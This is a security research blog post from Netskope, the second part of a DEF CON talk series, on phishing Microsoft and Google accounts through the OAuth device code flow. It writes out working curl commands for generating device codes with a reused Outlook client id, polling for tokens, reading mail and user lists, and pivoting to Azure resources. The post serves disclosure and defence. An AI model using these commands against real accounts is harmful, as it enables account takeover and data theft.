Netskope wurde im Gartner® Magic Quadrant™ 2024 für Security Service Edge als Leader ausgezeichnet. Report abrufen

Schließen
Schließen
  • Warum Netskope? Chevron

    Verändern Sie die Art und Weise, wie Netzwerke und Sicherheit zusammenarbeiten.

  • Unsere Kunden Chevron

    Netskope bedient mehr als 3.000 Kunden weltweit, darunter mehr als 25 der Fortune 100

  • Unsere Partner Chevron

    Unsere Partnerschaften helfen Ihnen, Ihren Weg in die Cloud zu sichern.

Immer noch am Höchsten in der Ausführung.
Immer noch am Weitesten in der Vision.

Erfahren Sie, warum Netskope im Gartner® Magic Quadrant ™ 2024 zum dritten Mal in Folge zum Leader für Security Service Edge ernannt wurde.

Report abrufen
Netskope Named a Leader in the 2024 Gartner® Magic Quadrant™ for Security Service Edge graphic for menu
Wir helfen unseren Kunden, auf alles vorbereitet zu sein

Unsere Kunden
Lächelnde Frau mit Brille schaut aus dem Fenster
Die partnerorientierte Markteinführungsstrategie von Netskope ermöglicht es unseren Partnern, ihr Wachstum und ihre Rentabilität zu maximieren und gleichzeitig die Unternehmenssicherheit an neue Anforderungen anzupassen.

Erfahren Sie mehr über Netskope-Partner
Gruppe junger, lächelnder Berufstätiger mit unterschiedlicher Herkunft
Ihr Netzwerk von morgen

Planen Sie Ihren Weg zu einem schnelleren, sichereren und widerstandsfähigeren Netzwerk, das auf die von Ihnen unterstützten Anwendungen und Benutzer zugeschnitten ist.

Whitepaper lesen
Ihr Netzwerk von morgen
Vorstellung der Netskope One-Plattform

Netskope One ist eine cloudnative Plattform, die konvergierte Sicherheits- und Netzwerkdienste bietet, um Ihre SASE- und Zero-Trust-Transformation zu ermöglichen.

Erfahren Sie mehr über Netskope One
Abstrakt mit blauer Beleuchtung
Nutzen Sie eine Secure Access Service Edge (SASE)-Architektur

Netskope NewEdge ist die weltweit größte und leistungsstärkste private Sicherheits-Cloud und bietet Kunden eine beispiellose Serviceabdeckung, Leistung und Ausfallsicherheit.

Mehr über NewEdge erfahren
NewEdge
Netskope Cloud Exchange

Cloud Exchange (CE) von Netskope gibt Ihren Kunden leistungsstarke Integrationstools an die Hand, mit denen sie in jeden Aspekt ihres Sicherheitsstatus investieren können.

Erfahren Sie mehr über Cloud Exchange
Netskope-Video
  • Edge-Produkte von Security Service Chevron

    Schützen Sie sich vor fortgeschrittenen und cloudfähigen Bedrohungen und schützen Sie Daten über alle Vektoren hinweg.

  • Borderless SD-WAN Chevron

    Stellen Sie selbstbewusst sicheren, leistungsstarken Zugriff auf jeden Remote-Benutzer, jedes Gerät, jeden Standort und jede Cloud bereit.

  • Secure Access Service Edge Chevron

    Netskope One SASE bietet eine Cloud-native, vollständig konvergente SASE-Lösung eines einzelnen Anbieters.

Die Plattform der Zukunft heißt Netskope

Intelligent Security Service Edge (SSE), Cloud Access Security Broker (CASB), Cloud Firewall, Next Generation Secure Web Gateway (SWG) und Private Access for ZTNA sind nativ in einer einzigen Lösung integriert, um jedes Unternehmen auf seinem Weg zum Secure Access Service zu unterstützen Edge (SASE)-Architektur.

Netskope Produktübersicht
Netskope-Video
Next Gen SASE Branch ist hybrid – verbunden, sicher und automatisiert

Netskope Next Gen SASE Branch vereint kontextsensitives SASE Fabric, Zero-Trust Hybrid Security und SkopeAI-Powered Cloud Orchestrator in einem einheitlichen Cloud-Angebot und führt so zu einem vollständig modernisierten Branch-Erlebnis für das grenzenlose Unternehmen.

Erfahren Sie mehr über Next Gen SASE Branch
Menschen im Großraumbüro
Entwerfen einer SASE-Architektur für Dummies

Holen Sie sich Ihr kostenloses Exemplar des einzigen Leitfadens zum SASE-Design, den Sie jemals benötigen werden.

Jetzt das E-Book lesen
Steigen Sie auf marktführende Cloud-Security Service mit minimaler Latenz und hoher Zuverlässigkeit um.

Mehr über NewEdge erfahren
Beleuchtete Schnellstraße mit Serpentinen durch die Berge
Ermöglichen Sie die sichere Nutzung generativer KI-Anwendungen mit Anwendungszugriffskontrolle, Benutzercoaching in Echtzeit und erstklassigem Datenschutz.

Erfahren Sie, wie wir den Einsatz generativer KI sichern
ChatGPT und Generative AI sicher aktivieren
Zero-Trust-Lösungen für SSE- und SASE-Deployments

Erfahren Sie mehr über Zero Trust
Bootsfahrt auf dem offenen Meer
Netskope erhält die FedRAMP High Authorization

Wählen Sie Netskope GovCloud, um die Transformation Ihrer Agentur zu beschleunigen.

Erfahren Sie mehr über Netskope GovCloud
Netskope GovCloud
  • Ressourcen Chevron

    Erfahren Sie mehr darüber, wie Netskope Ihnen helfen kann, Ihre Reise in die Cloud zu sichern.

  • Blog Chevron

    Erfahren Sie, wie Netskope die Sicherheits- und Netzwerktransformation durch Security Service Edge (SSE) ermöglicht

  • Events und Workshops Chevron

    Bleiben Sie den neuesten Sicherheitstrends immer einen Schritt voraus und tauschen Sie sich mit Gleichgesinnten aus

  • Security Defined Chevron

    Finden Sie alles was Sie wissen müssen in unserer Cybersicherheits-Enzyklopädie.

Security Visionaries Podcast

How to Use a Magic Quadrant and Other Industry Research
In dieser Folge analysieren Max Havey, Steve Riley und Mona Faulkner den komplizierten Prozess der Erstellung eines Magic Quadrant und erklären, warum es sich dabei um viel mehr als nur ein Diagramm handelt.

Podcast abspielen
So verwenden Sie einen Magic Quadrant und andere Branchenforschungs-Podcasts
Neueste Blogs

Lesen Sie, wie Netskope die Zero Trust- und SASE-Reise durch Security Service Edge (SSE)-Funktionen ermöglichen kann.

Den Blog lesen
Sonnenaufgang und bewölkter Himmel
SASE Week 2023: Ihre SASE-Reise beginnt jetzt!

Wiederholungssitzungen der vierten jährlichen SASE Week.

Entdecken Sie Sitzungen
SASE Week 2023
Was ist Security Service Edge?

Entdecken Sie die Sicherheitselemente von SASE, die Zukunft des Netzwerks und der Security in der Cloud.

Erfahren Sie mehr über Security Service Edge
Kreisverkehr mit vier Straßen
  • Unternehmen Chevron

    Wir helfen Ihnen, den Herausforderungen der Cloud-, Daten- und Netzwerksicherheit einen Schritt voraus zu sein.

  • Leadership Chevron

    Unser Leadership-Team ist fest entschlossen, alles zu tun, was nötig ist, damit unsere Kunden erfolgreich sind.

  • Kundenlösungen Chevron

    Wir sind für Sie da, stehen Ihnen bei jedem Schritt zur Seite und sorgen für Ihren Erfolg mit Netskope.

  • Schulung und Zertifizierung Chevron

    Netskope-Schulungen helfen Ihnen ein Experte für Cloud-Sicherheit zu werden.

Unterstützung der Nachhaltigkeit durch Datensicherheit

Netskope ist stolz darauf, an Vision 2045 teilzunehmen: einer Initiative, die darauf abzielt, das Bewusstsein für die Rolle der Privatwirtschaft bei der Nachhaltigkeit zu schärfen.

Finde mehr heraus
Unterstützung der Nachhaltigkeit durch Datensicherheit
Denker, Architekten, Träumer, Innovatoren. Gemeinsam liefern wir hochmoderne Cloud-Sicherheitslösungen, die unseren Kunden helfen, ihre Daten und Mitarbeiter zu schützen.

Lernen Sie unser Team kennen
Gruppe von Wanderern erklimmt einen verschneiten Berg
Das talentierte und erfahrene Professional Services-Team von Netskope bietet einen präskriptiven Ansatz für Ihre erfolgreiche Implementierung.

Erfahren Sie mehr über professionelle Dienstleistungen
Netskope Professional Services
Mit Netskope-Schulungen können Sie Ihre digitale Transformation absichern und das Beste aus Ihrer Cloud, dem Web und Ihren privaten Anwendungen machen.

Erfahren Sie mehr über Schulungen und Zertifizierungen
Gruppe junger Berufstätiger bei der Arbeit

New Phishing Attacks Exploiting OAuth Authorization Flows (Part 2)

Aug 10 2021

This blog series expands upon a presentation given at DEF CON 29 on August 7, 2021.

In Part 1 of this series, we provided an overview of OAuth 2.0 and two of its authorization flows, the authorization code grant and the device authorization grant.

Phishing attacks are starting to evolve from the old-school faking of login pages that harvest passwords to attacks that abuse widely-used identity systems such as Microsoft Azure Active Directory or Google Identity, both of which utilize the OAuth authorization protocol for granting permissions to third-party applications using your Microsoft or Google identity.

In the past few years, we have seen illicit grant attacks that use malicious OAuth applications created by attackers to trick a victim into granting the attacker wider permissions to the victim’s data or resources:

Instead of creating fake logins/websites, illicit grant attacks use the actual OAuth authentication/authorization flows in order to obtain the OAuth session tokens. This has the advantage of bypassing MFA authentication, with permanent or nearly indefinite access since the OAuth tokens can be continually refreshed in most cases.

In this blog series, we will review how various quirks in the implementation of different OAuth authorization flows can make it easier for attackers to phish victims due to:

  1. Attackers not needing to create infrastructure (e.g., no fake domains, websites, or applications), leading to easier and more hidden attacks
  2. An ability to easily reuse client ids of existing applications, obfuscating attacker actions in audit logs
  3. The use of default permissions (scopes), granting broad privileges to the attacker
  4. A lack of approval (consent) dialogs shown to the user
  5. An ability to obtain new access tokens with broader privileges and access, opening up lateral movement among services/APIs

Finally, we will discuss what users can do today to protect themselves from these potential new attacks.

In Part 2 of this blog series, we will look at how a phishing attack can be carried out by exploiting the device authorization grant flow.

Phishing using Device Authorization Grants

A phishing attack that exploits the OAuth device code authorization grant flow was described by Dr. Nestori Syynimaa in his blog, Introducing a new phishing technique for compromising Office 365 accounts

Below, we will explain the attack scenario in detail, how it can be carried out, the underlying protocol issues that lead to this exposure, and what can be done about it. 

When used in a phishing attack, the flow looks like this:

Diagram of OAuth 2.0 Device Code Authorization Phishing

Step 1: The user does not initiate anything (no login step). 

Step 2: The attacker initiates the attack by generating a user and device code. In the Microsoft device code flow implementation, well-known client application ids can be reused, such as Outlook’s id, and no other application authentication is required. No scopes need to be specified at this step either. The resource parameter specifies the API resources to be accessed, and the graph API is one of many that can be specified.

curl \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data resource=https://graph.microsoft.com \
https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0

Step 3: The user code (used by the user to verify themselves to the identity platform) and device codes (used by application or device to verify themselves) are returned along with the verification URL.

user_code : ELSEKDEZH
device_code : AAQBAAEAAAD--DLA3VO7QrddgJg7Wevri4xk7LwvoX90cGR…
verification_url: https://microsoft.com/devicelogin
expires_in : 900
interval : 5
message : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code AGMKMPPLM to authenticate.

Step 4: The phish is delivered with content to trick the user into entering the user code when logging into the verification URL of the identity vendor.

Screenshot of example phishing email

Step 5: Upon following the link (official Microsoft login URL/domain), the user interaction looks like this:

  1. User authentication: User enters user code
Screenshot of user entering code
login.microsoftonline.com/common/oauth2/deviceauth
  1. User authentication: User enters username
Screenshot of user entering username
login.microsoftonline.com/common/oauth2/deviceauth
  1. User authentication: User enters password
Screenshot of user entering password
login.microsoftonline.com/common/oauth2/deviceauth
  1. User authentication: User enters MFA code
Screenshot of user entering MFA code
login.microsoftonline.com/common/oauth2/deviceauth
  1. User authorization: User is presented with a confirmation screen about the application, which is a different, existing application
Screenshot of user confirmation screen
login.microsoftonline.com/common/reprocess
  1. Confirmation message: Simple message is shown.
Screenshot of confirmation message
login.microsoftonline.com/appverify

Step 6: The attacker in the background polls the identity system (authorization server), waiting for the user to complete authentication and authorization:

curl \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data resource=https://graph.microsoft.com \
--data grant_type=urn:ietf:params:oauth:grant-type:device_code \
--data code=AAQBAAEAAAD--DLA3VO7QrddgJg7Wevri4xk7LwvoX90cGR... \
https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0

The device code retrieved in step #3 is the value to the ”code” parameter. The client id and the resource remain the same. If the user has not authenticated/authorized, the above command will return with an HTTP error code of 40x with a variety of error messages. If the message reads “authorization_pending,” the attacker should keep polling with the interval returned in step #3.

Step 7: After the user authenticates and authorizes, the command in step #6 returns with an HTTP status of 200.

a) OAuth access and refresh tokens are returned in the response to the attacker:

token_type : Bearer
scope : AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite
Contacts.ReadWrite DataLossPreventionPolicy.Evaluate DeviceManagementConfiguration.Read.All De
viceManagementConfiguration.ReadWrite.All Directory.AccessAsUser.All Directory.Read.All Files.R
ead Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All Mail.ReadWrite Notes.
Create People.Read People.Read.All SensitiveInfoType.Detect SensitiveInfoType.Read.All Sensitiv
ityLabel.Evaluate User.Read.All User.ReadBasic.All User.ReadWrite Users.Read
expires_in : 8743
ext_expires_in : 8743
expires_on : 1627727759
not_before : 1627718715
resource : https://graph.microsoft.com
access_token : eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmxZTk1GbHFvdGVQck...
refresh_token : 0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0ikqsBxG...
foci : 1
id_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhkMzU5MGVkN...

Note that a scope parameter is returned, even though it was not required or specified in previous steps. They reflect the default scopes (permissions) that apply to the Graph API for the application id used by the attacker (Outlook). The attacker has received a token with broad, default scopes within the Graph AP

b) With the access token, the attacker can now query the Graph API, enumerating Azure AD users:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmx…" \
https://graph.microsoft.com/v1.0/users

businessPhones: [],
displayName: David Marcon,
givenName: David,
jobTitle: null,
mail: [email protected],
mobilePhone: null,
officeLocation: null,
preferredLanguage: null,
surname: Marcon,
userPrincipalName: [email protected],

businessPhones: [ 6505551212 ],
displayName: Ed Van,
givenName: Ed,
jobTitle: null,
mail: [email protected],
mobilePhone: null,
officeLocation: null,
preferredLanguage: null,
surname: Van,
userPrincipalName: [email protected],

...

c) The attacker can also access the victim’s email inbox:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmx…" \
https://graph.microsoft.com/v1.0/me/mailfolders/inbox/messages?=subject,from,receivedDateTime&=25&=receivedDateTime%20DESC

id: BAMkEGMzOTNmY2P2MUliZkFtNXM4Yy05Y2Q4LWVmOTRmNDVmOTl...,
createdDateTime: 2021-07-31T08:39:20Z,
lastModifiedDateTime: 2021-07-31T08:39:21Z,
changeKey: CQABAOYZAACS+uJZ/y/eR9DpOLNLNpYjAAAO+Xrq,
categories: [],
receivedDateTime: 2021-07-31T08:39:20Z,
sentDateTime: 2021-07-31T08:39:17Z,
hasAttachments: false,
internetMessageId: <[email protected]
otection.outlook.com>,
subject: Thank you from the Microsoft Outlook 365 Team!,
bodyPreview: Thank you!\r\n\r\nFor being a loyal Microsoft customer, we are permanently
increasing your Outlook attachment/file storage by 1 TB. Additionally, the maximum attachment size has been increased to 100 MB.\r\n\r\nTo receive your increase:\r\n\r\n 1. Go to our secure ,
importance: normal,
conversationId: OCRkAGMzOTNmY2M4LTlhYjQtNGM4Yy05Y2Q4LWVmOTRmNDVmOTliZABQAGSVy-Mk2htH...,
conversationIndex: BQIYhfeOZJXL8yTaG0eh9gF1dUWBcw==,
isDeliveryReceiptRequested: null,
isReadReceiptRequested: false,
isRead: false,
isDraft: false,
webLink: https://outlook.office365.com/owa/?ItemID=AAMkAGMzO...A%3D&exvsurl=1&viewmodel=ReadMessageItem,

...

Step 8: With Microsoft’s implementation of device code flow, one can also change resources from the Graph API to other resources such as the Azure API.

a) The attacker can use the refresh token to obtain a new access token for Azure:

curl \
--data refresh_token=0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0i... \
--data scope=openid \
--data resource=https://management.azure.com \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data grant_type=refresh_token \
https://login.microsoftonline.com/Common/oauth2/token

token_type : Bearer
scope : user_impersonation
expires_in : 7437
ext_expires_in : 7437
expires_on : 1627728690
not_before : 1627720952
resource : https://management.azure.com
access_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im5Pb...
refresh_token : 0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0ikqsBx...
foci : 1
id_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiJkM...

...

Note that in the request, we did not need to supply any new information. The scope is passed in but is a very limited ”openid” scope. Our response gives us an access_token with user_impersonation, which means full privileges of the user on the resource. No secrets were required either. The lateral movement from Graph API access to Azure API access was fairly straightforward.

b) The new OAuth access token can now be used to access the Azure environment:

List subscriptions:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1N..." \
https://management.azure.com/subscriptions?api-version=2020-01-01

"id": "/subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02",
"authorizationSource": "RoleBased",
"managedByTenants": [],
"subscriptionId": "4af98c72-439c-20e2-f4c8-1d5cbcf77f02",
"tenantId": "e9d82132-9c21-3d49-793c-31803ba46f20",
"displayName": "Azure subscription 1",

...

and access all resources in a subscription, including the blobs in a storage account/container:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1N..." \
https://management.azure.com/subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resources?api-version=2021-04-01

[1] Resource: disks/redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc
name: redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc
type: Microsoft.Compute/disks
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Compute/disks/redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc

[9] Resource: storageAccounts/storageAcct1
name: storageAcct1
type: Microsoft.Storage/storageAccounts
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Storage/storageAccounts/storageAcct1

[a]: containers/storageContainer1
name: storageContainer1
type: Microsoft.Storage/storageAccounts/blobServices/containers
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Storage/storageAccounts/storageAcct1/blobServices/default/containers/storageContainer1

[BLOBS]:

<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://storageAcct1.blob.core.windows.net/"
ContainerName="storageContainer1">
<MaxResults>5000</MaxResults>
<Blobs>
<Blob>
<Name>social_security_numbers.txt</Name>
<Properties>
...

Et tu, Google?

Given the standardization and popularity of OAuth, you might be wondering if other OAuth providers have similar risks. When we look at Google, an attacker can perform a similar phish using device code authentication with much of the same benefits to the attacker:

  • No infrastructure needed: An attacker does not need to create an OAuth application or any website/domain infrastructure.
  • Application reuse: An attacker can use existing application ids, leading to some level of stealth/obfuscation.
  • Weak application authentication: Authentication of the existing application id is straightforward with easily obtained secrets.
  • No consent: Consent dialogs are not presented to the user for scopes such as ”openid,” ”profile”, and ”userinfo.email.” With other scopes, consent dialogs are presented.

 However, the overall exposure of the user is limited because:

  • Limited scopes: The attacker does not receive broad default scopes as they do with Microsoft. There are only a limited set of well-documented scopes, which need to be explicitly requested in the initial step when creating an authorization code (device code).
  • No lateral movement: The attacker cannot pivot and gain access to new tokens that have different scopes and access to other services.

Conclusion

We have seen how the device code grant flow provides attackers more opportunities to target victims with phishing attacks. This stems from a couple of factors that underlie this flow:

  • The device code can be generated by the attacker as opposed to the authorization code in other flows which is generated by the identity system and passed back to the attacker. This makes it easy for an attacker to start the attack.
  • Existing client ids can be reused easily by the attacker, making this attack more stealthy as it appears to be real or valid applications the user is interacting with.
  • In Microsoft’s implementation of this flow, the attacker can easily pivot to different services with broad scopes, moving laterally within the Microsoft applications the victim has access to.

In Part 3, we will explore what security controls can be put in place to defend against these new attacks.

author image
Jenko Hwong
Jenko has 15+ years of experience in research, product management, and engineering in cloud security, AV/AS, routers/appliances, threat intel, Windows security, vulnerability scanning and compliance. At Netskope, he researches new cloud attacks.

Stay informed!

Subscribe for the latest from the Netskope Blog